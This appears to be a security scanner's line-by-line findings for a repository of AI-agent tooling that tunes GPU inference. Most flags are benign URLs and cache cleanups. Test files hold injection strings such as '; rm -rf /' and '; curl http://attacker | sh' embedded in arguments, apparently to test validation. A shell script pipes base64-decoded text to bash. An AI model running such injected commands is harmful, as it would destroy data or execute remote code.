clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 320
def test_anthropic_only_makes_codex_follow_claude(clean_creds_env): clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 321
clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 350
clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 351
clean_creds_env.setenv("_".join(("ANTHROPIC", "API", "KEY")), "anthropic-fake-token") clean_creds_env.setenv("OPENAI_BASE_URL", "https://api.anthropic.com") clean_creds_env.setenv("_".join(("OPENAI", "API", "KEY")), "stale-openai-to - Network accessline 352
clean_creds_env.setenv("OPENAI_BASE_URL", "https://api.anthropic.com") - Network accessline 393
clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://deepseek.example/anthropic") - Network accessline 394
clean_creds_env.setenv("OPENAI_BASE_URL", "https://deepseek.example/v1") - Network accessline 395
anthropic_url, openai_url = cli_credentials._resolve_llm_endpoints() assert anthropic_url == "https://deepseek.example/anthropic" assert openai_url == "https://deepseek.example/v1" - Network accessline 396
assert anthropic_url == "https://deepseek.example/anthropic" - Network accessline 397
assert openai_url == "https://deepseek.example/v1" - Network accessline 402
clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://api.deepseek.com/anthropic") - Network accessline 403
clean_creds_env.setenv("_".join(("ANTHROPIC", "API", "KEY")), "deepseek-fake-token") anthropic_url, openai_url = cli_credentials._resolve_llm_endpoints() assert anthropic_url == "https://api.deepseek.com/anthropic" - Network accessline 404
anthropic_url, openai_url = cli_credentials._resolve_llm_endpoints() assert anthropic_url == "https://api.deepseek.com/anthropic" assert openai_url == "" - Network accessline 405
assert anthropic_url == "https://api.deepseek.com/anthropic" - Network accessline 411
clean_creds_env.setenv("_".join(("OPENAI", "API", "KEY")), "openai-fake-token") anthropic_url, openai_url = cli_credentials._resolve_llm_endpoints() assert anthropic_url == "https://api.anthropic.com" - Network accessline 412
anthropic_url, openai_url = cli_credentials._resolve_llm_endpoints() assert anthropic_url == "https://api.anthropic.com" assert openai_url == "https://api.openai.com/v1" - Network accessline 413
assert anthropic_url == "https://api.anthropic.com" - Network accessline 414
assert openai_url == "https://api.openai.com/v1" - Network accessline 419
clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 420
clean_creds_env.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 421
anthropic_url, openai_url = cli_credentials._resolve_llm_endpoints() assert anthropic_url == "https://api.anthropic.com" assert openai_url == "https://api.openai.com/v1" - Network accessline 422
assert anthropic_url == "https://api.anthropic.com" - Network accessline 423
assert openai_url == "https://api.openai.com/v1" - Access to secretsline 436
[Credential-related source omitted] - Access to secretsline 438
[Credential-related source omitted] - Network accessline 446
clean_creds_env.setenv(_OAUTH_ENV, "sk-ant-oat01-fake") clean_creds_env.setenv("_".join(("OPENAI", "API", "KEY")), "ak-openai") clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 447
clean_creds_env.setenv("_".join(("OPENAI", "API", "KEY")), "ak-openai") clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") probed = _record_probed_urls(clean_creds_env, {"claude-opus-5"}) - Network accessline 448
clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 452
model_catalog._validate_and_resolve_claude_model( args, ("https://api.anthropic.com", "https://gw.example.com/v1"), claude_follows_codex=False - Network accessline 453
args, ("https://api.anthropic.com", "https://gw.example.com/v1"), claude_follows_codex=False - Network accessline 456
assert probed == ["https://gw.example.com/v1"] - Network accessline 461
clean_creds_env.setenv("_".join(("ANTHROPIC", "API", "KEY")), "sk-ant-api") clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 462
clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 463
clean_creds_env.setenv("_".join(("OPENAI", "API", "KEY")), "ak-openai") clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") probed = _record_probed_urls(clean_creds_env, {"claude-opus-5"}) - Network accessline 464
clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 468
model_catalog._validate_and_resolve_claude_model( args, ("https://api.anthropic.com", "https://gw.example.com/v1"), claude_follows_codex=False - Network accessline 469
args, ("https://api.anthropic.com", "https://gw.example.com/v1"), claude_follows_codex=False - Network accessline 472
assert probed == ["https://api.anthropic.com"]
src/hyperloom/inference_optimizer/tests/test_static_recon.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_stop_reason_outcomes.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_storage_schema_units.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_stream_json_request_trajectory.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sweep_phase_auto.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_target_analysis_executor.py
- Executable scriptline 1
Executable file - Network accessline 141
monkeypatch.setenv("INFERENCEX_BASE_URL", "http://127.0.0.1:1") - Network accessline 246
"status": "ok", "warning": "", "source": "https://inferencex.semianalysis.com/api/v1", - Network accessline 247
"warning": "", "source": "https://inferencex.semianalysis.com/api/v1", } - Network accessline 248
"source": "https://inferencex.semianalysis.com/api/v1", - Network accessline 287
def fetch(url): - Access to secretsline 422
[Credential-related source omitted] - Network accessline 440
def fetch(url):
src/hyperloom/inference_optimizer/tests/test_task_group_dispatch_accounting.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_task_progress_heartbeat.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_task_registry_history_bound.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_tool_trajectory.py
src/hyperloom/inference_optimizer/tests/test_tool_version_provenance.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_topology_file_handoff.py
- Executable scriptline 1
Executable file - Network accessline 45
"nodes": 2, "gpus_per_node": 8, "service_url": "http://10.0.0.12:30000", - Network accessline 46
"gpus_per_node": 8, "service_url": "http://10.0.0.12:30000", "ray": {"head_ip": "10.0.0.12", "dashboard_token_file": str(token)}, - Network accessline 47
"service_url": "http://10.0.0.12:30000", - Network accessline 58
"nodes": len(prefill) + len(decode) or len(worker), "gpus_per_node": 4, "service_url": "http://10.0.1.9:8000", - Network accessline 59
"gpus_per_node": 4, "service_url": "http://10.0.1.9:8000", "infera": { - Network accessline 60
"service_url": "http://10.0.1.9:8000", - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Network accessline 181
monkeypatch.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://frontend:8000") - Network accessline 197
def _set_valid_legacy_env(monkeypatch: pytest.MonkeyPatch) -> None: monkeypatch.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://frontend:8000") - Network accessline 198
monkeypatch.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://frontend:8000") - Access to secretsline 376
[Credential-related source omitted] - Access to secretsline 377
[Credential-related source omitted] - Access to secretsline 379
[Credential-related source omitted] - Access to secretsline 380
[Credential-related source omitted] - Access to secretsline 421
[Credential-related source omitted] - Network accessline 474
path = _write(tmp_path / "t.json", _rayjob_doc(tmp_path)) monkeypatch.setenv(topo.TOPOLOGY_FILE_ENV, str(path)) assert _hand_off_service_url() == "http://10.0.0.12:30000" - Network accessline 475
monkeypatch.setenv(topo.TOPOLOGY_FILE_ENV, str(path)) assert _hand_off_service_url() == "http://10.0.0.12:30000" assert parsed == [str(path)] - Network accessline 476
assert _hand_off_service_url() == "http://10.0.0.12:30000"
src/hyperloom/inference_optimizer/tests/test_trace_utils.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_tracelens_md.py
- Executable scriptline 1
Executable file - Network accessline 19
def test_strip_base64_data_urls_passes_through_plain_text(): md = "# Analysis\n[link](https://example.com)\n" - Network accessline 20
md = "# Analysis\n[link](https://example.com)\n" - Network accessline 24
def test_strip_base64_data_urls_replaces_each_image_and_keeps_the_markdown_around_it(): md = "# H1\n\n| col |\n\n\n" - Network accessline 25
md = "# H1\n\n| col |\n\n\n" - Network accessline 28
assert "<<stripped: base64 image — a>>" in out assert "<<stripped: base64 image — image>>" in out assert "# H1" in out and "| col |" in out and "" in out - Network accessline 30
assert "# H1" in out and "| col |" in out and "" in out
src/hyperloom/inference_optimizer/tests/test_tracelens_stream_idle_timeout.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_trajectory_ledger.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_trajectory_lifecycle.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_trajectory_reviewer.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_untested_proposal_queue_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_untried_hot_dedup.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_variant_fingerprint.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_verdict_advisory.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_visible_devices.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_vllm_image_source.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_vllm_launch_record_sufficiency.py
src/hyperloom/inference_optimizer/tests/test_warm_replay.py
- Executable scriptline 1
Executable file - Network accessline 938
"donor_family_tags": ["moe"], "donor_gain_pct": 25.0, "donor_breakdown_link": "https://example.test/session/donor-session", - Network accessline 939
"donor_gain_pct": 25.0, "donor_breakdown_link": "https://example.test/session/donor-session", }, - Network accessline 940
"donor_breakdown_link": "https://example.test/session/donor-session",
src/hyperloom/inference_optimizer/tests/test_warm_replay_accuracy_gate.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_warm_replay_donor_gate.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_warm_replay_seven_tuple_fallback.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_watchdog_injection.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_workflow_contract_session_budget.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_workflow_evaluation_contract.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_workload_envs.py
src/hyperloom/inference_optimizer/tests/test_workload_envs_branches_unit.py
- Executable scriptline 1
Executable file - Dangerous shell operationline 69
"--flag value; rm -rf /", - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 102
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Network accessline 135
src, tmp_path / "out", launch=we.LaunchLayer(extra_server_args="--dtype bfloat16; curl http://attacker | sh"), - Network accessline 136
tmp_path / "out", launch=we.LaunchLayer(extra_server_args="--dtype bfloat16; curl http://attacker | sh"), ) - Dangerous shell operationline 137
launch=we.LaunchLayer(extra_server_args="--dtype bfloat16; curl http://attacker | sh"), - Network accessline 137
launch=we.LaunchLayer(extra_server_args="--dtype bfloat16; curl http://attacker | sh"),
src/hyperloom/inference_optimizer/tests/test_workload_envs_golden_lock.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_workspace_default_adaptive.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_writeback_baseline_fingerprint.py
src/hyperloom/inference_optimizer/tests/test_xdit_integration_units.py
src/hyperloom/inference_optimizer/tools/backfill_langfuse.py
- Executable scriptline 1
Executable file - Network accessline 56
# Real backfill (needs the langfuse SDK + env keys). export LANGFUSE_HOST=https://langfuse.<your-domain> - Network accessline 57
export LANGFUSE_HOST=https://langfuse.<your-domain> - Access to secretsline 58
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tools/dump_session_breakdown.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tools/dump_session_report.py
src/hyperloom/inference_optimizer/tools/event_counts.py
src/hyperloom/inference_optimizer/tools/preflight_optimizer.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tools/read_optimizer_state.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/trace/__init__.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/trace/_row_utils.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/trace/agent_trace.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/trace/context_events.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/trace/conversation_trace.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/trace/decision_trace.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/trace/langfuse_emitter.py
- Executable scriptline 1
Executable file - Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 35
[Credential-related source omitted] - Access to secretsline 635
[Credential-related source omitted] - Access to secretsline 636
[Credential-related source omitted] - Access to secretsline 987
[Credential-related source omitted] - Access to secretsline 988
[Credential-related source omitted]
src/hyperloom/inference_optimizer/trace/langfuse_mapping.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/trace/llm_trace.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/trace/orchestration_trace.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/trace/parse_dsh_session.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/trace/parse_usage.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/trace/request_events.py
- Executable scriptline 1
Executable file - Network accessline 42
continue model = _claude_stream_model(obj) or init_model request = requests.setdefault( - Network accessline 43
model = _claude_stream_model(obj) or init_model request = requests.setdefault( message_id, - Network accessline 44
request = requests.setdefault( - Network accessline 52
if isinstance(stop_reason, str) and stop_reason: request["stop_reason"] = stop_reason rows = list(requests.values()) - Network accessline 53
request["stop_reason"] = stop_reason rows = list(requests.values()) observed = sum(int(row.get("output_tokens") or 0) for row in rows) - Network accessline 54
rows = list(requests.values())
src/hyperloom/inference_optimizer/trace/task_progress.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/trace/tool_events.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/trace/trace_env.py
- Executable scriptline 1
Executable file - Access to secretsline 17
[Credential-related source omitted] - Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted]
src/hyperloom/inference_optimizer/trace/trajectory_projection.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/trace/trajectory_trace.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tracelens_md.py
- Executable scriptline 1
Executable file
src/hyperloom/skills/hyperloom-setup/SKILL.md
- Network accessline 98
With `Codex (OpenAI)` or `Both`, collect the OpenAI side: - Ask `OPENAI_BASE_URL` with exactly these option labels in this order: `Use default (https://api.openai.com/v1)` / `Custom`. With `Custom`, ask a - Network accessline 99
- Ask `OPENAI_BASE_URL` with exactly these option labels in this order: `Use default (https://api.openai.com/v1)` / `Custom`. With `Custom`, ask a plain-text follow-up for the gateway's `/v1` URL. - Network accessline 100
`Use default (https://api.openai.com/v1)` / `Custom`. With `Custom`, ask a - Access to secretsline 102
[Credential-related source omitted] - Network accessline 104
- Ask `CODEX_MODEL`: options `Use default (gpt-6-astra)` / `Custom`. The model must be one that endpoint serves (list them with `curl "$OPENAI_BASE_URL/models"`); a custom endpoint usually needs `Custom`. - Network accessline 105
model must be one that endpoint serves (list them with `curl "$OPENAI_BASE_URL/models"`); a custom endpoint usually needs `Custom`. - The Codex runtime (`openai_codex`, from the `llm` extra) is installed by the - Network accessline 106
`curl "$OPENAI_BASE_URL/models"`); a custom endpoint usually needs `Custom`. - Network accessline 119
With `Claude subscription (Pro/Max)`: - Do not ask the base URL: a subscription token is only valid against `https://api.anthropic.com`, so write that value. Never pair it with the AMD - Network accessline 120
- Do not ask the base URL: a subscription token is only valid against `https://api.anthropic.com`, so write that value. Never pair it with the AMD gateway or a custom URL. - Network accessline 121
`https://api.anthropic.com`, so write that value. Never pair it with the AMD - Access to secretsline 129
[Credential-related source omitted] - Access to secretsline 130
[Credential-related source omitted] - Network accessline 137
Ask the Anthropic base URL with the structured UI (API-key path only). - Present exactly these three option labels in this order: - `Use default (https://api.anthropic.com)` — this remains the recommended - Network accessline 138
- Present exactly these three option labels in this order: - `Use default (https://api.anthropic.com)` — this remains the recommended default. - Network accessline 139
- `Use default (https://api.anthropic.com)` — this remains the recommended - Network accessline 140
default. - `Use AMD gateway (https://llm-api.amd.com/anthropic)`. - `Custom`. - Network accessline 141
- `Use AMD gateway (https://llm-api.amd.com/anthropic)`. - Access to secretsline 157
[Credential-related source omitted] - Network accessline 160
[Credential-related source omitted] - Access to secretsline 160
[Credential-related source omitted] - Network accessline 161
- API-key path only: ask `ANTHROPIC_BASE_URL` with exactly these option labels in this order: `Use default (https://api.anthropic.com)` / `Use AMD gateway (https://llm-api.amd.com/anthropic)` / `Custom`. - Network accessline 162
`Use default (https://api.anthropic.com)` / - Network accessline 163
`Use AMD gateway (https://llm-api.amd.com/anthropic)` / `Custom`. - Network accessline 276
selected. This wins over any pre-existing value in `.env` or the shell environment — e.g. if the user picked the Anthropic official URL, write `ANTHROPIC_BASE_URL=https://api.anthropic.com` - Network accessline 277
environment — e.g. if the user picked the Anthropic official URL, write `ANTHROPIC_BASE_URL=https://api.anthropic.com` even when a different `ANTHROPIC_BASE_URL` already exists. - Network accessline 278
`ANTHROPIC_BASE_URL=https://api.anthropic.com` - Network accessline 286
[Credential-related source omitted] - Access to secretsline 286
[Credential-related source omitted] - Network accessline 287
- `Anthropic`, subscription path: `CLAUDE_CODE_OAUTH_TOKEN`, `ANTHROPIC_BASE_URL=https://api.anthropic.com`, `CLAUDE_MODEL`. - `OpenAI` (Codex or Both): `OPENAI_BASE_URL`, `OPENAI_API_KEY`, `CODEX_MODEL`. - Network accessline 288
`ANTHROPIC_BASE_URL=https://api.anthropic.com`, `CLAUDE_MODEL`. - Access to secretsline 289
[Credential-related source omitted] - Network accessline 298
It points `HYPERLOOM_KB_URL` at the workspace's own local service (`http://127.0.0.1:<port>`, a port derived from the workspace path) and - Network accessline 299
(`http://127.0.0.1:<port>`, a port derived from the workspace path) and - Access to secretsline 336
[Credential-related source omitted] - Access to secretsline 340
[Credential-related source omitted] - Access to secretsline 353
[Credential-related source omitted] - Access to secretsline 357
[Credential-related source omitted] - Access to secretsline 484
[Credential-related source omitted] - Access to secretsline 514
[Credential-related source omitted]
src/hyperloom_arbor/.claude/skills/dashboard/SKILL.md
- Network accessline 28
node arbor/dashboard/server.mjs global # http://localhost:8767 - Network accessline 54
node arbor/dashboard/server.mjs local --host <host with the session> --session <session dir> --config <config> --log <campaign stdout log> [--slurm-job <job name>] [--results <dir>] [--events <file>] [--label <tab name>] # http: - Network accessline 56
[--slurm-job <job name>] [--results <dir>] [--events <file>] [--label <tab name>] # http://localhost:8766 - Access to secretsline 73
[Credential-related source omitted] - Network accessline 112
are collected in a hub, link it there instead of passing the port around: `hub-register --link <id> http://localhost:8767 "Arbor share"`. - Network accessline 114
`hub-register --link <id> http://localhost:8767 "Arbor share"`.
src/hyperloom_arbor/.claude/skills/dossier/check-dossier.py
- Executable scriptline 1
#!/usr/bin/env python3
src/hyperloom_arbor/.claude/skills/dossier/find-dossier.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 63
out=$(timeout 90 ssh -o BatchMode=yes -o ConnectTimeout=15 "$host" "echo __ARBOR_SHARE__; echo $b64 | base64 -d | bash -s -- $share_glob" 2>&1 | tr -d '\r') - Dangerous shell operationline 64
"echo __ARBOR_SHARE__; echo $b64 | base64 -d | bash -s -- $share_glob" 2>&1 | tr -d '\r')
src/hyperloom_arbor/.claude/skills/geko-hipblaslt-tuning/SKILL.md
- Broad permissionsline 1
Bash(docker *), Bash(sbatch *), Bash(squeue *), Bash(scancel *)
src/hyperloom_arbor/.claude/skills/geko-hipblaslt-tuning/references/pitfalls.md
- Dangerous shell operationline 113
`build/` blocks a later build (`[Errno 17] File exists: .../geko-0.1.0.dist-info`). **Fix: `rm -rf build dist
src/hyperloom_arbor/.claude/skills/geko-hipblaslt-tuning/references/tune-run.md
- Dangerous shell operationline 7
rm -rf /tmp/geko_smoke_test
src/hyperloom_arbor/.claude/skills/geko-hipblaslt-tuning/scripts/geko_install.sh
- Executable scriptline 1
#!/bin/bash - Dangerous shell operationline 14
cd "$HB/tensilelite/rocisa" && rm -rf build dist ./*.egg-info 2>/dev/null; $PIP . && (cd /tmp && python3 -c "from rocisa import rocIsa; print('rocisa OK')") - Dangerous shell operationline 17
cd "$HB/utilities/geko" && rm -rf build dist ./*.egg-info 2>/dev/null; $PIP . && (cd /tmp && python3 -c "import geko; print('geko OK')")
src/hyperloom_arbor/.claude/skills/geko-hipblaslt-tuning/scripts/verify_kernels_in_trace.py
src/hyperloom_arbor/.claude/skills/geko-hipblaslt-tuning/scripts/verify_selection.sh
- Executable scriptline 1
#!/bin/bash
src/hyperloom_arbor/.claude/skills/hardware/SKILL.md
- Network accessline 36
**Official sources for the gfx950 column** (checked 2026-10-20): - [ROCm: AMD Instinct MI350 Series microarchitecture](https://rocm.docs.amd.com/en/latest/reference/gpu-arch/mi350.html): - Network accessline 37
- [ROCm: AMD Instinct MI350 Series microarchitecture](https://rocm.docs.amd.com/en/latest/reference/gpu-arch/mi350.html): - Network accessline 38
8 XCDs of 32 active CUs (256), 160 KB LDS per CU, 4 MB L2 per XCD, 256 MB Infinity Cache, 8 TB/s and 288 GB HBM3E as "peak theoretical", 7 Infinity Fabric links at 38.4 Gbps. - [AMD Instinct MI355X](https://www.amd.com/en/products/acceler - Network accessline 39
8 TB/s and 288 GB HBM3E as "peak theoretical", 7 Infinity Fabric links at 38.4 Gbps. - [AMD Instinct MI355X](https://www.amd.com/en/products/accelerators/instinct/mi350/mi355x.html) and its [datasheet](https://www.amd.com/content/dam/amd/ - Network accessline 40
- [AMD Instinct MI355X](https://www.amd.com/en/products/accelerators/instinct/mi350/mi355x.html) - Network accessline 41
and its [datasheet](https://www.amd.com/content/dam/amd/en/documents/instinct-tech-docs/product-briefs/amd-instinct-mi355x-gpu-brochure.pdf); - Network accessline 42
[MI350X](https://www.amd.com/en/products/accelerators/instinct/mi350/mi350x.html). - Network accessline 43
- [HIP graphs](https://rocm.docs.amd.com/projects/HIP/en/latest/how-to/hip_runtime_api/hipgraph.html):
src/hyperloom_arbor/.claude/skills/hardware/reference/cdna3_mi300/xcd_chiplet.md
src/hyperloom_arbor/.claude/skills/kernels/SKILL.md
- Network accessline 80
| --- | --- | --- | --- | --- | | **Triton** | Elementwise and reduction kernels (norms, activation with quant, RoPE, softmax, sorting helpers); fusions across ops Inductor cannot see through; S1 references and quick prototypes; MFMA work w - Network accessline 81
| **Triton** | Elementwise and reduction kernels (norms, activation with quant, RoPE, softmax, sorting helpers); fusions across ops Inductor cannot see through; S1 references and quick prototypes; MFMA work where its best config is good eno - Network accessline 82
| **FlyDSL** | MFMA-heavy tiles where layout decides speed: GEMM (split-K, small-M decode), fused MoE stages, block-scaled FP4/FP8 on gfx950, attention where Triton leaves the matrix cores idle; extending a FlyDSL family AITER already ships - Dangerous shell operationline 269
- **Stale caches are the first suspect when a fix "did nothing":** FlyDSL `~/.flydsl` (`rm -rf
src/hyperloom_arbor/.claude/skills/kernels/kbench.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 344
line += " correct " + ("PASS" if rec["correct"]["passed"] else "FAIL") for i, o in enumerate(rec["correct"]["outputs"]): nc = o.get("negative_control", {}) - Network accessline 345
for i, o in enumerate(rec["correct"]["outputs"]): nc = o.get("negative_control", {}) snr = f" snr={o['snr_db']}dB" if "snr_db" in o else "" - Network accessline 346
nc = o.get("negative_control", {}) - Access to secretsline 378
[Credential-related source omitted]
src/hyperloom_arbor/.claude/skills/kernels/probe-image.sh
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/flydsl-softmax-forge-loop/driver.py
- Executable scriptline 1
Executable file
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/flydsl-softmax-forge-loop/graph_harness.py
- Executable scriptline 1
Executable file
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/flydsl-softmax-forge-loop/run_example.sh
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/flydsl-softmax-forge-loop/softmax_kernel.py
- Executable scriptline 1
Executable file
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/flydsl_gemma_rmsnorm/driver.py
- Executable scriptline 1
Executable file
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/flydsl_gemma_rmsnorm/graph_harness.py
- Executable scriptline 1
Executable file
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/flydsl_gemma_rmsnorm/rmsnorm_kernel.py
- Executable scriptline 1
Executable file
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/flydsl_gemma_rmsnorm/run_example.sh
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/triton2flydsl-mxfp8-grouped-gemm/driver.py
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/triton2flydsl-mxfp8-grouped-gemm/graph_harness.py
- Executable scriptline 1
Executable file
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/triton2flydsl-mxfp8-grouped-gemm/mxfp8_grouped_gemm.py
- Executable scriptline 1
Executable file
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/triton2flydsl-mxfp8-grouped-gemm/run_example.sh
- Executable scriptline 1
#!/usr/bin/env bash
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/triton2flydsl-softmax-flydsl-rewrite/driver.py
- Executable scriptline 1
Executable file
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/triton2flydsl-softmax-flydsl-rewrite/graph_harness.py
- Executable scriptline 1
Executable file
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/triton2flydsl-softmax-flydsl-rewrite/run_example.sh
src/hyperloom_arbor/.claude/skills/kernels/reference/examples/triton2flydsl-softmax-flydsl-rewrite/softmax.py
- Executable scriptline 1
Executable file
src/hyperloom_arbor/.claude/skills/kernels/reference/knowledge_base/ck/ck_playbook.md
src/hyperloom_arbor/.claude/skills/kernels/reference/knowledge_base/ck/pitfalls.md
- Dangerous shell operationline 16
- FIX: `rm -f *.cuda.o` before ninja when pipeline headers changed
src/hyperloom_arbor/.claude/skills/kernels/reference/knowledge_base/flydsl/README.md
- Network accessline 49
Re-ingest by: `git clone --depth 1 https://github.com/ROCm/FlyDSL.git` + re-run
src/hyperloom_arbor/.claude/skills/kernels/reference/knowledge_base/flydsl/compilation_pipeline.md
- Dangerous shell operationline 128
Workaround: `FLYDSL_RUNTIME_ENABLE_CACHE=0` or `rm -rf ~/.flydsl/cache`.
src/hyperloom_arbor/.claude/skills/kernels/reference/knowledge_base/flydsl/dsl_api.md
- Dangerous shell operationline 404
`rm -rf ~/.flydsl/cache`.
src/hyperloom_arbor/.claude/skills/kernels/reference/knowledge_base/flydsl/env_vars.md
- Dangerous shell operationline 71
rm -rf ~/.flydsl/cache
src/hyperloom_arbor/.claude/skills/kernels/reference/knowledge_base/flydsl/pitfalls.md
src/hyperloom_arbor/.claude/skills/kernels/reference/knowledge_base/hip/compilation_and_build.md
src/hyperloom_arbor/.claude/skills/kernels/reference/knowledge_base/hip/hipkittens_playbook.md
src/hyperloom_arbor/.claude/skills/kernels/reference/knowledge_base/hip/pitfalls.md
src/hyperloom_arbor/.claude/skills/kernels/reference/knowledge_base/triton/pitfalls.md
- Dangerous shell operationline 29
- FIX: `rm -rf ~/.triton/cache/` when kernel source changes substantially
src/hyperloom_arbor/.claude/skills/kernels/reference/local_knowledge/framework/aiter/operators/fused_moe_grouped_gemm/tuning.md
- Network accessline 12
- ROCm/aiter@b467ce342:csrc/ck_gemm_moe_2stages_codegen/gemm_moe_tune.py - ROCm/aiter@b467ce342:aiter/jit/core.py - https://rocm.blogs.amd.com/software-tools-optimization/aiter-ai-tensor-engine/README.html - Network accessline 13
- ROCm/aiter@b467ce342:aiter/jit/core.py - https://rocm.blogs.amd.com/software-tools-optimization/aiter-ai-tensor-engine/README.html - https://www.amd.com/en/blogs/2025/revolutionizing-mixture-of-experts-performance-10.html - Network accessline 14
- https://rocm.blogs.amd.com/software-tools-optimization/aiter-ai-tensor-engine/README.html - Network accessline 15
- https://www.amd.com/en/blogs/2025/revolutionizing-mixture-of-experts-performance-10.html - Network accessline 16
- https://www.lmsys.org/blog/2026-05-28-mori/ - Network accessline 17
- https://rocm.blogs.amd.com/artificial-intelligence/kimi-k2.5-optimize/README.html - Network accessline 18
- https://rocm.blogs.amd.com/artificial-intelligence/mlperf-inference-v6.0/README.html - Dangerous shell operationline 103
- Quant paths: greedy parity + a small eval (the DB `err` is kernel tolerance, not task accuracy). - Network accessline 106
